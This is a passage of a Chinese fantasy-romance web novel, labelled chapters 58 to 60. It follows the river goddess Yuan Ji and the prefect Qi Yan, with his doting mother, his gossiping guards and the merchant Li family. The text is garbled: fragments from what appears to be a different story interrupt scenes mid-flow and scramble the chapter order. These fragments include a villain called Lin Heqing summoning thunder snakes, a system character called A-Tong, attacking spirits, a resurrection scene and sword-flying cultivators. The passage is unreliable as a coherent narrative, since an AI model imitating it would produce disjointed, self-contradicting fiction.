祁琰抿嘴伸了个懒腰,然后打开了扇子晃了晃,扬起头看向府衙招牌,再看向祁夫人差来的管家,忍不住摇了摇头,颇为自在道:“这才是人过的日子。” 身后的元吉扯了扯嘴角:“腐败。” 管家朝元吉看了一眼,没见过,也不知哪儿来的女子,竟然敢这么说他们家少爷,知不知道少爷当官之后已经很勤俭了?夫人都怕少爷受人非议,只配了二十个家丁而已啊! “这位姑娘是?”管家问。 祁琰随意地瞥了一眼元吉,风轻云淡道:“哦,她呀,祁家未来少夫人。” 管家:“???!!!” 元吉的脸立刻红了起来,双手猛地推了一把祁琰的后背:“乱说什么呢你。” 祁琰被她推得往前走了两步,脸上还带着得意哈哈笑了两声,三个护卫无奈地摇了摇头跟过去。 留着管家站在原地,有些发愣。 这是未来的少夫人?他怎么从来没听人提起过……嘶,不知道老爷和夫人知不知道这位姑娘的存在哦。 祁琰带着元吉入了府衙之后,学着管家问了句:“夫人是打算先用饭呢还是先沐浴啊?” 元吉想了想:“先吃。” 祁琰点头,扇子挥了挥手:“好嘞,先吃。” 两人掉头就往用餐的地方过去,护卫乙回头看了一眼,问护卫丙:“管家呢?” 护卫丁道:“我看见他往祁家跑了。” 护卫丙哦了一声:“也是,山匪的事情告一段落,是时候得告诉祁夫人,商量一下大人的终身大事了。” 护卫乙抿着嘴没说话,护卫丁与护卫丙都用奇怪的眼神看着他:“你平日最好奇了,怎么什么也不说啊?” 护卫乙往后退了一步:“说什么?姻缘天注定。” 护卫丙双手环胸:“你很奇怪。” 护卫丁也点了点头:“你有问题。” 护卫乙吞了吞口水,朝两个人凑过去,小声道:“我与你们说个事儿,你们千万别声张出去。” “你说。” 三人神秘兮兮地凑在了一起,护卫乙道:“咱们的未来夫人不是人。” “你怎么骂人呢!”护卫丙与护卫丁纷纷撸起袖子:“找揍吧你!” “我说真的你看你们又不信。” “废话别说,夫人为人那么友善,你还骂她,不管了,先打一顿!” 祁琰和元吉刚走到吃饭的地方,听见身后有动静,两个人转身看过去,刚好看见三名护卫在房梁与屋檐上上蹿下跳,整个院子里你追我赶的。 祁琰晃了晃扇子,哎了一声:“有武功就是好,还能飞着玩儿。” 元吉双手做喇叭状,对着那三个根本让人无法捕捉位置的人道:“别玩儿太久,记得吃饭啊。” 祁琰摇了摇头,伸手搭在了元吉的肩上,一副无奈的模样:“是这样的,他们就是顽皮,时间长了就习惯了。” “原来如此,那咱们先吃吧。” 再说老管家,刚从知府的府衙跑出来,便一路往祁府而去。 要说祁家的大门,那在整个吴州是找不到的宽大富贵,那大门的石狮子的眼睛是宝石,脚下踩着的球是玉做的,足金的牌匾挂在门口,根本不怕人偷。稍稍被人刮一点儿下来,他们都发现不了。 管家到了祁府便要进去见老爷和夫人。 祁家的老两口也是恩爱,这么些年从来都不吵架,唯一的问题就出在惯着祁琰的身上,在祁琰小时候,每当他犯了什么错,两个人都会怪对方太过娇惯儿子,可又舍不得数落祁少爷,于是就只能一直这么循环下去。 管家找到祁老爷与祁夫人的时候,两人正在院子里下棋。 祁老爷手上握着黑玛瑙,撑着下巴苦思冥想,另一边的祁夫人对此显然游刃有余,脸上带着必胜的笑容,也不催促。 管家立刻弯腰喘着气道:“老爷,夫人,少爷回来了。” 祁老爷与祁夫人一听祁琰回来了,棋也不下了,祁老爷一子落下,祁夫人赶忙一招通杀,两人问:“是到了府衙吗?” “是。” “那你怎么不随行伺候着呢。”祁夫人责备。 管家哎哟一声:“夫人,这……少爷回来就算了,还带了个姑娘。” “我儿出息啦!”祁夫人拍着祁老爷的肩膀就笑:“老爷,琰儿二十三啦!我十年前就想给他寻觅良缘,都过去十年啦!他终于晓得要成亲啦!” 管家一想不对:“夫人……不去问问这姑娘是何来历?” 祁夫人立刻对管家道:“问什么问?!把人家姑娘问跑了怎么办?”然后双手合十眼看向天空:“感谢上苍终于让我儿想通要娶媳妇儿了,老爷!你不开心吗?” 管家看向那头的祁老爷,祁老爷本也就算是老来得子,祁琰不肯成亲这事儿也的确是他这么些年迅速长白头发的原因,听见这个消息怎么能不开心。 他都快要趴在棋盘上哭了啊! 祁夫人提着裙子就站起来:“快!快带我去见见。” 管家一时有些摸不着头脑,怎么这发展有些不对呢?祁家家大业大,想要攀附祁家的人数不胜数,那些个家里有小姐的贵人们不知每天有多少个上门问亲事,只要是祁少爷一句不见,祁老爷与祁夫人通通就给打发了。 现下一个来历不明的女子,祁夫人在去府衙的路上捻着佛珠就在念叨她儿媳妇儿一定相当好看。 管家觉得祁家一家人都有些怪怪的。 元吉吃完了晚饭,便洗漱去了。 祁琰给她在府衙安排了一间房,与他是一个院子的。 本来元吉不打算住在这儿,吃完了饭就笑着说要回去了。 祁琰道:“天色这么晚,急着回去做什么?明天再走吧。” 元吉摇了摇头道:“你府衙门前就是河,我往里跳就成。” 祁琰又道:“那晚上还有甜品呢。” 元吉有些犹豫:“要不你半夜让人给我倒河里?” 祁琰板着一张脸,元吉这才颇为无奈:“好嘛好嘛,就住一晚上,明个儿我还得去找土地爷呢。” 就这样,元吉才在府衙住了下来。 不过祁夫人对祁琰是真的非常好,一个小小的院子里便有花鸟鱼石,一样都不差,晚间元吉穿着干净的新衣服,躺在小池塘边的凉椅上,一边给池子里的鱼儿喂吃的,一边哼着小曲儿。 祁夫人到的时候,正好从这儿过,只瞧见了元吉的一个背影,站在不远处听元吉在那儿哼小曲。 管家站在祁夫人后面看见了祁夫人的脸上出现只有对着祁少爷才会出现的母爱慈祥的表情,默默移开视线。 祁夫人双手握在一起,哎哟一声:“儿媳妇儿哼的真好听。” 管家在后头赔笑:“是,是挺好听的。” 刚与手下人交代完事情的祁琰正准备回房间沐浴呢,然后就看见自己住的院子门口站着一排人。 祁夫人为首,之后是管家,再是四个祁夫人随行的婢女,再是护卫着祁夫人一路过来的六个家丁。 一行十二个人,纷纷朝他院子里看过去。 祁琰走过去一瞧,元吉正傻兮兮地在喂鱼,而且哼了非常难听也听不懂的小曲儿。 祁琰清了清嗓子:“娘,您在干什么呢?” 元吉听见这句话,猛地转过身来,也不知道自己身后何时出现的一排人,吓得她往后缩了缩,祁琰顿时睁圆了眼睛想要过去拉:“小心!” 结果没拉着,‘噗通’一声,元吉掉进了小池子里。 祁夫人哎呀一声:“还愣着干什么呀?!去救人呀!” 元吉在池子里扑腾了一会儿,然后扶着石头站起来,浑身上下都湿透了,小池塘的水不过才到她的腰,她连忙摆手:“不碍事,不深。” 祁琰先是看了一眼祁夫人,再看向元吉,大致知道现下是什么情况了。 晶石之外的林鹤清看着里头的画面,嘴角越扯越大,古怪的笑声从中泄出。 “哈哈哈哈,河神。” “不过如此。” “不愧是我用半生修为换来的宝贝。”林鹤清躲开源源不断朝他扑来的雷蛇,抖了抖袖子,眼神阴鸷,“宣长生、河神庙……一个个慢慢来。” 干枯如树枝的指节从上头剥离出一抹红雾朝河神庙掷去,浓郁的怨气与罪孽引得雷劫又躁动了起来,无数的雷蛇应运而生,代表着天地法则惩治这祸端。 无数雷蛇倾泻而出。 河神庙岌岌可危。 第 58 章 第五十八章 第五十八章 “嗬……嗬嗬……” 野兽般的嘶吼伴随着风袭来,肩头的火种陡然绽放出骇人的热意击退面前的红雾。浓郁的血气在空中快速弥散开来,腐臭的腥味直叫人作呕。 “嗬!” 被耀眼光芒刺痛的红雾连拖带拉地逃回黑暗中,时不时回头暗中窥伺,像是在疑惑今日怎又来了一个可以伤到它的人。 一时间,元吉周遭竟空了一圈出来。随着元吉的走动,这群红雾逐步后退,与元吉时刻保持着一定的距离。 元吉一顿,本能性地摆手:“没没……”两个没字结结巴巴地说出来之后,她吞了吞口水,随后移开了视线:“是。” “你瞧见了?” 元吉点头,轻轻地嗯了一声。 缄默了许久之后,还是元吉没忍住,率先打破了安静:“你身上的伤,怎么回事?” “是旧伤了,大约有四年了吧。”祁琰说。 元吉略微皱眉:“四年前的伤,怎么昨天晚上瞧过去就像新割开的一样?之前我就瞧见了你心口上的疤痕,你在京城……过得不好吗?” 难不成是在京城受人欺负了,所以实在忍受不住就回到了吴州?可是他身上的伤好了又坏,坏了又好的如何解释? 祁琰将目光从外面收回,回头看了元吉一眼:“那你准备好了答案了吗?” 元吉起先想问什么答案,牟然想起来昨晚在饭桌上他问的问题,沉默了片刻道:“我自然是……关心你的。” 祁琰抿嘴笑了起来:“我在京城这几年,过得的确不好,可是在朝为官身不由己,得以回到吴州我真的很开心,在府衙门前瞧见你的时候,仿佛京城那几年就是在做梦,一切都没变。” 吴州是的确没变的,吴州因为舟山有山匪横行,故而变化极为缓慢,吴州里的百姓大部分都与几年前没什么不同,富人那几个,名字也没变,穷人依旧穷,矜矜业业的生活着。 元吉也没变,她与二十年前一模一样。 元吉虽然不知道朝中险恶,但是这些日子与祁琰接触了陈县令徐县令等人也知道,在朝为官的确不容易,小小的县令都有当地富贾们笼络,更何况是在京城天子脚下办差的大人们? 祁琰在元吉的印象中,无非是从吴州出来的乡野小子,大约比真正的乡野小子要有钱些,但是一直被祁家保护得很好,没见过大风大浪,初入京城定然受了不少苦。 现在细细想着这些,元吉便觉得心里不舒服,伸出手轻轻地拉住了祁琰的袖子,眉心微皱,想说些安慰的话却发现时间已经过去许久,这些话说出来也无益了。 祁琰瞥了一眼她拉着自己袖子的手,突然说:“你这样会让我想吻你。” 元吉立刻将自己的手缩了回来,瞥开眼神:“你别一言不合就就……就耍流氓行不行?” 祁琰抿嘴笑:“我哪儿有一言不合?我是一本正经地想吻你。” 元吉连忙哎呀了一声瞪了他一眼:“那你去京城之后不是考上了状元吗?祁夫人在家里高兴了好些日子,这事儿整个吴州都知道,既然是状元,还有人敢为难你?” 祁琰朝元吉凑近了些,元吉想要往后退,祁琰便冷着脸道:“这是最后一次,你要是再退,我以后当真就再也不靠近你了。” 元吉抿嘴皱眉,定在原地不动。 祁琰要是冷漠起来,元吉是绝对招架不住的,她饶是看着这人长大也摸不透这人。若是五年前,元吉还能拍着胸脯保证知道关于祁少爷事情的七七八八,而今,恐怕只剩下二二三三了。 祁琰一把搂住了元吉的肩膀:“这就乖了嘛,那土地说的话你也别全信,他老了,总归是有些糊涂的。” 元吉朝天白了一眼:“你还没回答我的问题。” 祁琰长长地叹了口气:“朝中哪儿有你想的那么简单啊,我刚考上状元,喜讯刚传到吴州,便因为朝中官员与皇子党派之间的事情,被诬陷秋试舞弊,直接入狱了。” “什么?!”元吉瞪圆了眼睛:“那祁夫人如何不知道这事儿的?你们祁家在京城那么多商铺生意……” 祁琰朝元吉笑了笑:“我让人给拖住了,吴州距离京城上千里路,消息想要传过来得耗不少时间,这封信刚走到吴州边境,我便沉冤昭雪,让人把信给截了回来了。” 元吉微微皱眉:“我一直以为你在京城小日子过得有滋有味的。” 祁琰拍了拍元吉的脑袋:“这么想才是你嘛,蠢兮兮的。” 元吉白了他一眼。 祁琰道:“我当时被大皇子救出来后,就被迫成了大皇子的派系之一了。当今皇上有六个儿子,各个聪明能干,朝中群臣暗地里分为六派,尔虞我诈的行径多不胜数。大皇子是嫡长子,三皇子又深受皇上的喜爱,五皇子又娶了丞相的千金,个中关系太过复杂,不是我喜欢的地方。” “光是你说的那些,我就有些听不懂了。”元吉伸手挠了挠头:“那你心口上的伤,也是那时候留下的?” 祁琰点头,眸色有些暗,脸上的表情很不好看,惨淡得很,好像将生死都看透了。 他过了许久,突然转头问了元吉一句:“对了,你虽然是河神,但大小也是个神仙,知道斩神剑吗?” 元吉眨了眨眼睛,她当河神的这二十余年一直都在吴州从未出去过,对外面的消息全靠祁家传来的信息,斩神剑是什么她根本不知道。 见元吉那毫不知情的眼神,祁琰就知道自己算是白问了,于是摇了摇头,伸手拍了拍她的后脑勺道:“小河神,你就一直这样蠢下去吧也挺好的。唉……吴州是个好地方,以后也会更好的。” 轿子停下,祁琰率先下了轿子,而后弯腰朝里面伸手,元吉瞥了一眼他的手心,稍微有些犹豫后,将手放了上去。 祁琰用力牵了牵她的指尖,道:“如此,咱们就算是和好了。” 祁琰与元吉这边的问题解决,元吉也问出了不少自己不知道的事儿,他们之前冷战了不少时间,坐在轿子里说说话,反而将心结全都解开了。 一切顺其自然就好,元吉也发现,自己有时刻意去避开对方,倒显得自己分外在乎了。 这一夜,两人算是睡了一场好觉。 不过在城北那侧,李守财的府上,李守财夫妇二人却没那么容易入眠了。 李守财还在纠结祁琰要将米粮卖给鹿蜂寨的事儿,李夫人在元吉那儿得了保证,便一边伸手抚着李守财的心口,一边劝说他。 “老爷,这吴州已经乱成一团,你还有什么不放心的?” “我总觉得心里不踏实,这元老板做生意风险太大了,他要将米粮卖给鹿蜂寨,这不是挑事儿嘛。” “可是老爷,之前徐县令在的时候,咱们少与那鹿蜂寨来往了?以我看,我们与那元老板倒更像是一路人,只为赚钱,不为其他。”李夫人道:“而且我听元夫人说了,他们在朝中有靠山,否则怎么敢这么做呢?” “夫人的意思是,咱们此番可行?” “我就问老爷,若没有元老板,与鹿蜂寨的关系,你还维系吗?” “自然是要维系的,这鹿蜂寨霸道惯了,没了徐县令我们若不维系,日后恐怕更惨。” “那有无元老板,咱们总归是要与鹿蜂寨打交道的,既然如此,你还怕什么?” 李守财一愣,朝自家夫人瞧去,心思沉沉,是啊,他怕什么呢? 快跑!这丫头要命! 元吉倒是很满意眼前顿时开朗的景象,她将肩头的火种一并掷出去。 霎时间,电光伴随着火束,以迅雷不及掩耳之势开辟出了一条道路来。 “雷蛇啊。” 元吉拍去指尖地尘土,不以为然道。 “确实好用。” 阿统:……? 你什么时候抓的!! 第 59 章 第五十九章 第五十九章 应雷劫而生的雷蛇,好不容易找到个能够宣泄自己内心幽怨之气的东西,哪肯轻易放过这群红雾。 想它堂堂雷蛇,竟被人当作御兽般驱使,简直欺蛇太甚! 它发了狠似的不停地撕咬着,如利剑般破开浓厚红雾,生生在无尽黑暗中杀出一条光明之路。 烈火烧焦后的气味隐隐漂浮在周遭。阿统的神情一时变得复杂起来,也不知道是该庆幸元吉的胆大,还是该可惜这般尊贵的雷蛇竟被元吉这样糟蹋。 “刺啦。” 祁琰回来了,带着皇帝的诏书,为吴州知府,按照他之前在京城的官位来算,是降级了。 朝中同僚若非都知道他是自愿回乡的,大多以为他犯了什么事儿。 围观的百姓看见归来的祁大人,他当天骑着一匹黑色的骏马,一身官服,挺直着背,下巴抬起,要多威风有多威风。 入城的除了他,身后还跟着几人骑马,十几人走路的随从。 本来知府的府衙距离祁家很近,在知道祁琰要回来的时候,祁夫人就派人将府衙上上下下都给打理了一遍,搬了许多假山,种了许多花草,还挖了几个鱼池,房屋大多都重新修葺过,油漆刷得金碧辉煌。 元吉出了水便依旧是十六七岁的模样,她身上换了套衣服,穿的粗糙些,头上没戴发饰,裹了块花布,随着人群观摩了一下祁琰回吴州的场景。 毕竟相识许多年,虽说不想见他,避免见了就生气,可又想见见,瞧他有无什么变化。 结果那阵仗若不说是祁琰回来了,元吉还以为是皇帝南下巡查来了。 人群跟着祁琰一直到了府衙门前,瞧着那牌匾换成了金灿灿的明镜高悬,阳光下元吉伸手遮挡住了脸,差点儿被闪瞎。 祁琰骑马到了府衙前才停下,元吉仔细看了一眼来者,眉心略微皱起,心中满是疑惑,虽说这人看上去与祁琰岁数差不多,但绝对不是她认识的那个人。 元吉的目光在随行的一群人中仔细看了看,没想到却在最后一排挑着行李的两人中见到了许久不见的祁少爷。 祁少爷穿着粗布麻衣,头发有些凌乱,虽然是低着头的,但是那双眼睛却在人群中不断打量。 随从打扮的祁少爷目光在随行的老百姓中看了一眼,大致掠过,看向元吉这边时,元吉特地侧过脸,省得与他对上视线被发现。 于是一排几十个人中,每张脸都正对着马匹上的‘祁大人’喜笑颜开,唯独那一张脸反方向看树,祁琰顺着元吉的视线朝树上瞥了一眼。 两只鸟儿在啄嘴,像是互相喂食的样子。 ‘祁大人’下了马匹,抖了抖官袍,便大步朝府衙中走去,与此同时最后一排的随从祁琰便朝元吉走来,站在她跟前不远处打了个响指。 元吉继续看鸟儿,甚至撅起嘴打算吹两个口哨,结果嘴巴刚撅起来,耳朵便被一只手个捏住了。 祁琰一手捏着她的耳朵,强硬地让她看向自己,一手将她头上裹着的花布给扯下,稍微弯下了点儿腰,凑过去,挑眉笑着问:“来迎接我啊?” 元吉被迫抬头,眨了眨眼睛,认真仔细地打量眼前的男子。 应当说,他已经算是男人了。 他比起五年前离开的时候高了许多,也健壮了许多,皮肤没以前白了,不过眉眼还是那样,眼睛大,但是眼尾翘,带着几分任性又邪气的味道。 元吉突然有种自己带大了个孩子的感觉,可是那孩子的手正扭着她的耳朵。 于是她伸手拍开,顾忌会引得周围人的视线,改低声呵斥道:“没大没小。” 祁琰嗤地一声笑出来,伸手搭在了她的肩膀上,半托的姿势拉她出了人群,往知府的府衙走去,一边走一边道:“妹子,哥哥带你看看新家。” 元吉想拉开他的手,结果拉不动,嘀咕道:“谁是你妹子,我要回河里了,出来只是意思意思,你个小毛孩儿没有我你能长这么大么……” 祁琰空余的那只手在腰上擦了擦,随后面无表情地捂住了元吉的嘴,也不顾元吉腿短跟不上,大步跨入了府衙。 而随着‘祁大人’一同入府见到这一情况的四名护卫面面相觑。 护卫甲:“妹子?” 护卫乙:“祁家无女,是未来的知府夫人。” 护卫丙:“长得挺漂亮。” 护卫丁:“大人有眼光!” 元吉被祁琰强行拉着转了祁夫人给他造的假山、花园、鱼池、凉亭等,最后拉到了大厅。四名护卫排排站好,还有一名祁夫人雇过来的家丁端着两杯茶,在四名护卫的目视下哆哆嗦嗦地端到了桌上。 “大人喝茶。” 祁琰将元吉按在了座椅上,一杯茶递到她跟前,自己端起另一杯,笑眯眯地瞧着她。 元吉往后缩了一下,这才问出心中的疑惑:“你怎么搞的?不是说当了知府?那马上的人不是你就算了,你还装扮起随从来了。” 祁琰将身上的外衣脱下,果然富贵惯了,脏兮兮的外衣里面便是真丝的内衫,他擦了擦额上的汗水道:“我这做戏给别人看呢。” “做什么戏?” 祁琰没回答,放下茶杯,动了动脚,护卫甲直接端了个凳子过来,脚刚抬起来,凳子就推到了腿下。 元吉:“……” 祁琰单手撑着下巴,另一只手朝她伸过来:“你烧坏了我的衣服,赔。” 话题骤转,多年不见竟然就伸手要钱了,元吉直接站了起来往后退一步,眉毛都竖起来了。 她以前怎么没看出来这人这么记仇呢?况且那是他自己突然冒出来抱着她的,烧坏了还能算她的错? 气归气,元吉还是很认真地从荷包里拿出了二两银子放在桌上,咧嘴假笑:“钱还你了,再见!” 祁琰伸手拉住了她的袖子,转头哎了一声:“吉吉~” 元吉起了一身鸡皮疙瘩,像是看什么可怕的东西似的给他投了个眼神:“你有病啊?这么叫我。” 祁琰啧了啧嘴:“找你来,不是逗你玩儿,是有正事儿与你谈的。” 元吉挑眉,五年不见,能有什么正事儿? 元吉撇嘴:“实不相瞒,今日相见我还有点儿尴尬,我与你也没太熟。” 祁琰听她这么说,收了自己的玩性,也松开了手,指了指自己对面的椅子道:“先坐。” 元吉勉强坐下,顺便将桌上的二两银子摸回来放回荷包里。 祁琰道:“我在京城这些年也不是什么也没做的,即便隔了千里远也听说了吴州的近况,吴州外的几座连山上有山匪,之前有两个知府就是这么没的,简直横行霸道太猖獗了。” 元吉点头,不明白这与她有何关系。 祁琰一本正经起来倒是有点儿当官的样子,与方才混不吝完全不同,说话的时候皱起眉心,那张脸也严肃了许多。 周遭的气压逐渐降低,兀得一股清香出现在身侧,将周遭的浊气驱散了不少。 祁琰:“这地方怨气多,用些灵果会舒服些。” 元吉她偏头看着面前的绿色果子,整个人松了口气。 “多谢。” 看着两人这会更像是来踏青一般,跟了一路好不容易等到地方的怨灵终于暴怒了。以往来到这的人无一不是哭天喊地、涕泗横流地求他们别吞噬自己。 痛苦的情绪用起来多美味啊。 可这两人居然不怕! 岂有此理! 深感自己被轻视了的怨灵在接到无度的示意下,再也不收敛起自己的威力,齐齐冲向被怨灵包围住的两人。 哭吧! 快喊吧! 第 60 章 第六十章 第六十章 乌云蔽日,不见一丝光亮。 雷光闪烁间,几名仙风道骨的白衣男子御剑出现云端上空。 一名弟子从剑上一跃而下,手中的罗盘察觉到了空气中残留的气息不停地抖动着。他随意踏过泥泞路上的一滩血泊,洁净的衣摆不染半分污秽。 随着他往前走去,手中的罗盘抖得更厉害了,很快便指着一个方向不动了。 他仔细端详着手中罗盘所指方向,满脸喜色。 “长老,林鹤清就在前处。” 他们追寻这么久,总算是找到这人的踪迹了,不枉他们日夜兼程赶来。 三月末的天里尚是冷的,一早上下了不少露,元吉打开窗户的时候摸了满手的湿。 窗户边上有些青苔,积了露水,在她打开窗户的同时,住在旁边的祁琰也将窗户打开了。 祁琰先是伸了个懒腰,打了哈欠半闭着眼睛朝元吉瞧来,咧嘴笑了笑刚要打招呼,元吉便哼了一声,猛地关上了窗户,留着祁琰眨了眨眼。 哎呀,生气啦。 元吉关了窗户就双手抱胸靠在一旁,抿着嘴想起昨晚回来时祁琰在马车中说的话就气。 洗漱好了之后元吉便要出门,护卫甲在县令府蹲点了一整天,确定李守财不会与县令取得联系后,便回到了客栈,刚回来就碰见要出去的元吉。 “夫人早呀。” 元吉眨了眨眼睛:“别乱叫。”一声声,一道道。 没有怨,没有恨。只有无限的期望。 半晌,她扬了扬嘴角,“阿上,我们一起。” “我们一起, 让他们活下去。” 眨眼睛,金色与银色相互交缠冲入阵法中,迸溅而出的巨大灵力转化为一缕缕生机。 漫天的生机落下,一道道横躺的身躯逐一醒来。 他们相识一眼,或是放下仇恨相识一笑,或是喜极而泣,又或是有些茫然不知所措。 可慢慢的,他们似乎明白了为何他们明明死了,却又活了。 只是因为“神爱世人。” 因灵气而逐渐变得透明的元吉和亓官上,感受着阵法那边传来的声声感谢,他们紧紧握住对方的手。 “这次。” “我们一起。” “嗯。” 元吉闭上眼,整个人变得无力虚脱起来,眼前的一切都渐渐模糊,直至漆黑一片。 突然间,一道极轻的笑意在他们耳边响起。 两人擦身而过后,护卫甲又问:“夫人出去呀?” 元吉嗯了一声,护卫甲见她往城西走,大致知道她要去的地方,上次大人就是在土地庙的桥底下把夫人给找到的,恐怕夫人又去土地庙了吧。 护卫乙端着脸盆出来,见护卫甲回来了,于是道:“夫人可真神秘。” 护卫甲点头:“是啊,大人说夫人很信神仙。” 推门出来的护卫丙揉了揉眼:“我是不太信的。” 护卫丁插嘴:“听说咱们吴州有河神。” 祁琰的房门推开,见自己的四个手下站在门前叨念着神鬼之事,于是说:“有什么好聊的,眼见为实,等你们见到了神仙再说吧,还有阿丙,你胡子忘贴了快去贴,阿甲进来给我汇报。” 一句话打断了四人,护卫甲乙丙丁便各忙各的去了。 清晨路上的行人并不多,土地庙前的香火还是昨夜点燃未烧完的,早上只有零零散散的几人,元吉趁着几人不注意的时候,钻到了桥底下,盘腿坐着。 桥下有些灰尘,她也不嫌脏,一边给土地神擦脸一边道:“土地爷,我有问题要问你,你睡醒了吗?” 土地神的石像慢慢睁开眼睛,瞪了元吉一眼:“你哪回找我有好事?” 元吉皱了皱眉,凑近了些,单手撑着下巴道:“我也是将你当成唯一的亲人,这才什么都与你说,有困难就找你嘛。” 土地神哼了一声,有些不情愿地问:“何事?” 元吉问他:“我是不是会死啊?” 土地神瞪圆了眼睛,眉毛竖了起来:“好呀!祁家那小子终究是要填河对不对?!” “不对不对。”元吉摆手:“这情况发生两次了,都与祁琰无关,是我遇见了一个人,便觉得头晕脑胀呼吸困难,身上冒汗双腿发软,可等见不到那人时,又想不起来那人的长相了。” 土地神久久没说话,元吉觉得不对劲,于是问:“我是不是……真的要死啦?” 良久之后,石像才开口:“若是那姓祁的小子不祸害你,你可没那么容易就死的。” “那我这……” 话被土地神打断,老人皱着眉头想了想,似乎是不太在意道:“恐怕是那些人与你生前有关吧。” 元吉心中一怔,有些不解:“我生前?我不是天生的河神?” 土地神笑了笑:“傻丫头,哪儿有天生的神仙?你生来便有十六岁,你自己不觉得奇怪?” 元吉看了看自己的身体,都已经许多年了,她也没再长过,还以为她生来就是神仙,突然间得知自己之前恐怕是凡人,她心里一瞬五味杂陈,说不出是什么感觉。 土地神道:“我那日见你,你已经死在河里了,尸体漂浮河上三日未有人领,奇的是魂魄不散,鱼虾蟹也都不吃你,故而明白你恐怕注定要成神的,这才给你个机会,将你从河水里唤出来。” 元吉愣了愣,脑子还有些迷糊:“这么说,我当了十六年的人,后来死在环城河上了?” 土地神点头:“既然入了神籍,那与凡人之间的事便要割断,所以你忘却了前尘,按理来说,也不会记得谁了。” 元吉讷讷地说:“是了,这么长时间,我不知去城中多少次,从未有一人认得我,可偏偏见到那两个人时身体会不适,总觉得之前见过,想来,应当是生前见过的。” 土地神朝元吉看了一眼,摸了摸胡子:“你还想与祁家少爷牵扯?” 元吉想到这事儿,便忍不住皱眉啧了一声:“我哪儿愿与他牵扯呀,他昨日还说填河不过是吓吓我的……” “那你怎么就不知道回河里躲着?”土地神恨铁不成钢。 元吉张嘴欲辩解,顿了顿,还是将话吞了回去,想起昨晚马车里发生的事。 当时祁琰说填河不过是唬她的,元吉立刻就问是不是可以不当他夫人了,谁知道这句话哪儿出了问题,又或者是祁琰哪根筋搭错了,当即便皱起眉头一副不开心的模样。 还恶劣的勾起嘴角道:“小河神,我之前是没有填河的打算,不过就你说的这句话,剿匪结束前你敢跑一个试试,小爷必当一分一分填。” 元吉楞住了,只觉得这人不可理喻,到了鼎丰客栈便率先下马车,回到自己房内没理他,即便是今早推开窗户瞧见他,也没给好脸色。 现在想来,元吉忍不住摇了摇头,几乎是带着哭腔道:“土地爷,我与他……是不是有一段孽缘啊?我总觉得我现在在历劫。” 土地神原地走了几圈,再朝元吉瞧去,有些话也不知道该如何开口,怎么这仙缘就摊到了元吉的头上,元吉一根筋十足的傻丫头,无奈那祁家的公子偏偏还精明得很,想来恐怕是上苍开的一场玩笑咯。 元吉半晌没听见回复,再朝土地瞧去,土地神便一本正经道:“那既然如此,你不妨就待在他身边吧,你生前的事我并不知晓,瞧你年纪轻轻,也不会是自然死亡,不如顺道查查自己的死因,或许能解你这怪病。” 元吉顿了顿:“是与我死因有关吗?” 土地神耸肩:“我不知道,不过凡事皆有可能,行了行了,人多了,你再不离开就该惹人注意了。” 元吉啧了一声,朝石像白了一眼:“你就知道嫌弃我。” “元夫人?”一声惊呼,元吉顿时收敛了表情,浑身僵硬地将头转向发出声音的那一处。 李夫人在丫鬟的搀扶下弯着腰歪着头朝石桥地下坐着的元吉瞧去,满眼都是惊讶与不解:“竟然真的是你啊。” 元吉吞了吞口水,赶忙从桥洞里钻出来,拍了拍身上的灰尘,脸上干笑道:“好巧,竟然在这儿遇见了姐姐。” 李夫人朝桥底下看去:“妹妹方才在桥底下做什么呢?” 元吉一边整理自己的袖子一边解释:“这不是我家夫君初来此地,做的生意又十分凶险,我便清早过来土地庙,让这一处的地方神灵多担待些。” 李夫人拿出手帕给元吉擦了擦脸:“没想到妹妹竟然信这神佛之说呢。” “也算不上信,总之去过这么多地方,将当地的神明拜一拜,生意的确没出过什么差错。”元吉指着桥下道:“我是瞧见桥底下原有一座小庙,这才进去看的,没想到就被姐姐看见我这落魄样子了。” “哪儿的话。”李夫人摆手。 元吉问她:“姐姐这是要去哪儿?” 李夫人道:“正是要去找你呢,想着天气不错,与你出去转转。” 元吉突然想起来昨日赏了桃花之后祁琰与她说的话,这才明白自己没先去拉拢李夫人,反倒是李夫人来拉拢自己了。 看来这李家虽然在城中算是富商,可常年在徐县令的压制下也委屈了许多。元吉对着李夫人笑了笑,李夫人也让丫鬟后头跟着,别打搅两人的雅兴,这才与元吉手牵手准备顺着城中小河边走一走。 昨晚在芙蓉镇中,祁琰没少与元吉说关于李家的话,如若李夫人来找元吉,她应当透露什么消息,祁琰也都一一交代清楚了。 李夫人道:“我家老爷安稳惯了,官府的钱确实不敢碰,但说句不好听的,咱们是商人,也总不能放着生意不做。” 元吉挑眉,元夫人说的话都在祁琰的算计范围内,故而顺着说:“姐姐怕是担心徐县令吧?城池分二县,李家与徐县令交好,另一边的贾家与陈县令交好,说到底,商人还是要靠着当官的才能有一席之地。” 李夫人连连点头:“就是这个意思!” 元吉噗嗤一声笑了出来:“那姐姐大可以放心,我与夫君也不是蠢的,哪儿能真的到了一个地方便敢在官府身上动土?无非是这徐县令……啧,不交也罢。” “此话怎说?”李夫人问。 元吉左右看了两眼,压低了声音道:“不瞒你说,这徐县令的位置恐怕坐不了多久了,我元家探子传话,就这两日,知府大人便会严查徐家,治他与山匪勾结搜刮民脂民膏之罪呢。” “不会吧?!”李夫人顿时花容失色。 元吉无辜地眨了眨眼:“我骗你做什么?我还打算与姐姐一同谋生意呢。” 李夫人额头上直冒冷汗,他们李家一直与官府交好,实际上和舟山上的鹿蜂寨也一直有联系,富商、山匪、官府三者为一线才可以生存,倒了任何一方都不行。 而今徐县令就要靠不住,那下一个倒霉的岂不是李家? 徐县令若真的被查办,知府必然顺藤摸瓜到李家头上,与其如此,倒不是先将徐县令推出去,也好过自己被连累。 元吉见李夫人忧心忡忡,心里大约知道事情恐怕真的被祁琰猜中了,于是道:“姐姐是不是不舒服?这天还是太凉了些,不妨先回去吧,妹妹与你说的话还未落实,你可千万别往外说。” 李夫人点了点头:“不说,不说……” 元吉唤来了李夫人的丫鬟,让丫鬟带着李夫人回去,自己顺着河边一路往鼎丰客栈走,反正祁琰交代给她的她都传给李夫人了,就看李夫人的话在李守财那儿影响如何。 元吉才回到鼎丰客栈,便见祁琰在大堂用早饭,想起来土地神与她说的话,她若不想头疼身虚,除了避免见到与自己生前有关之人之外,就只有找到根源去解决。 既然如此,那她与祁琰,也算是互帮互助了。 “喂。”元吉坐在了祁琰对面:“我饿了。” 祁琰眸子一亮,还未开口,护卫甲便懂眼色地端来了一碗粥:“夫人请用。” 护卫乙端小菜,护卫丙拿油条,护卫丁顿了顿,看着空空如也的手,慢慢背在了身后。 讨好是门技术活,他慢慢来。 